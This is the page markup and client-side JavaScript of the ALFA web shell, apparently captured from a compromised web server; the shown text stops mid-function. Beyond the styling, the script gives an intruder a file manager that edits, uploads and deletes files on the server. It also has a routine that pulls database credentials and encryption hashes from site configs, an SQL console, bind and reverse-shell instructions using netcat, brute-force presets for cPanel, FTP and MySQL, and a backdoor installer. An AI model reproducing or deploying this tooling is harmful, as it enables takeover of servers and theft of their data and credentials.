.block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}

@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}
@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}
@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}
@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}
#alfaloader{ -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:100px;height:100px;}
#a_loader img{ -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}
.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:#67ABDF;font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url(http://solevisible.com/images/alfamini.png);background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:0px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url(http://solevisible.com/images/alfamini.png);background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url(http://solevisible.com/images/btn.png);background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;}.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{color: #00FF00;}.header_drive:hover{color: #FFFFFF;}.header_show_all{color: #00FF00;}.disable_functions{color: #ff0000;}.footer_text{color: #27979B;}.menu_options{color: #27979B;}.menu_options:hover{background-color: #646464;font-weight: unset;}.content_options_holder .header center a{color: #00FF00;}.content_options_holder .header center a:hover{color: #FFFFFF;}.txtfont_header{color: #59cc33;}.txtfont,.tbltxt{color: #FFFFFF;}.alfa_plus{color: #06ff0f;font-weight: unset;}#hidden_sh a{color: #00FF00;}.hidden_shell_version{color: #ff0000;}.shell_name{color: #FF0000;}.main tr:hover{background-color: #646464;}.main th{color: #FFFFFF;}.main .main_name{color: #FFFFFF;font-weight: unset;}.main_size{color: #67ABDF;}.main_modify{color: #67ABDF;}.main_owner_group{color: #67ABDF;}.main_green_perm{color: #25ff00;}.main_red_perm{color: #FF0000;}.main_white_perm{color: #FFFFFF;}.beetween_perms{color: #FFFFFF;}.main .actions{color: #FFFFFF;}.minimized-wrapper{background-color: #0e304a;}.minimized-text{color: #f5deb3;}.editor-explorer,.editor-modal{border: 2px solid #0e304a;}.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}.editor-header{background-color: rgba(21, 66, 88, 0.93);}.editor-path{color: #00ff7f;}.close-button, .editor-minimize{background-color: #1d5673;}.editor_actions{color: #FFFFFF;}.editor_file_info_vars{color: #FFFFFF;}.filestools{color: #67ABDF;}.hheader-text,.history-clear{color: #14ff07;}.editor-file-name{color: #03b3a3;}.is_active{background-color: rgba(49, 55, 93, 0.77);}.file-holder > .history:hover{background-color: #646464;}input[type=text],textarea{border: 1px solid #0E304A}input[type=text],textarea{color: #999999;}input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}select{border: 1px solid #0E304A}select{color: #FFFFEE;}select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}input[type=submit],.button,#addup{border: 1px solid #27979B;}input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}.ml1{color: #67ABDF;}.ml1{border: 1px solid #0E304A;}.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}.inputfile strong{background-color: #0E304A;}.inputfile strong{color: #FFFFFF;}.inputfile span{color: #25ff00;}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}.up_bar{background-color: #00ff00;}.mysql_tables{color: #00FF00;}.mysql_table_count{color: #67ABDF;}.copyright{color: #dfff00;}*::-webkit-scrollbar-thumb{background-color: #1e82b5;}*::-webkit-scrollbar-track{background-color: #000115;}
</style><script type="text/javascript">
var c_ = '/var/www/html/';
var a_ = 'FilesMan2';
var charset_ = 'Windows-1251';
var islinux = true;
var post_encryption_mode = false;var alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" path='/' href='#action=fileman&path=/'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g('FilesMan','"+r+l[i]+"/');\" path='"+r+l[i]+"/' href='#action=fileman&path="+r+l[i]+'/\' class="header_pwd">'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id='"+s+"' class='up_bar'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname='"+n+"']").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class="fmanager-row" id="tr_row_'+r+'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'+n+'" class="chkbx" id="checkbox'+r+'"><label for="checkbox'+r+'"></label></div></td><td id="td_row_'+r+'">'+p+'<div style="position:relative;display:inline-block;bottom:12px;"><a row="'+r+'" id="id_'+r+'" class="main_name" onclick="editor(\''+s+"','auto','','','','file');\" href=\"#action=fileman&amp;path="+c_+"&amp;file="+s+'" fname="'+n+'" ftype="file" path="'+c_+'" opt_title="">'+n+'</a></div></td><td><span style="font-weight:unset;" class="main_size">'+c+'</span></td><td><span style="font-weight:unset;" class="main_modify">'+_+'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'+u+'</span></td><td><a id="id_chmode_'+r+'" href="javascript:void(0)" onclick="editor(\''+s+"','chmod','','','','file')\">"+f+'</a></td><td><a id="id_rename_'+r+'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'rename','','','','file')\">R</a> <a id=\"id_touch_"+r+'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'touch','','','','file')\">T</a> <a id=\"id_edit_"+r+'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''+s+"', 'edit','','','','file')\">E</a> <a id=\"id_download_"+r+'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''+n+"', 'download')\">D</a><a id=\"id_delete_"+r+'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '+s+" # ?'); chk ? g('FilesMan',null,'delete', '"+s+"') : '';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id='loader_"+e+'\' class="options-loader-holder"><div parent="'+e+'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">Cavdar59</div><div class="alfa-ajax-error"></div><img src=\'http://solevisible.com/images/loader.svg\'></div>')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"&current_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML='<label class="inputfile" for="'+e+'"><span id="__fnameup'+upcount+'"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="'+e+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var 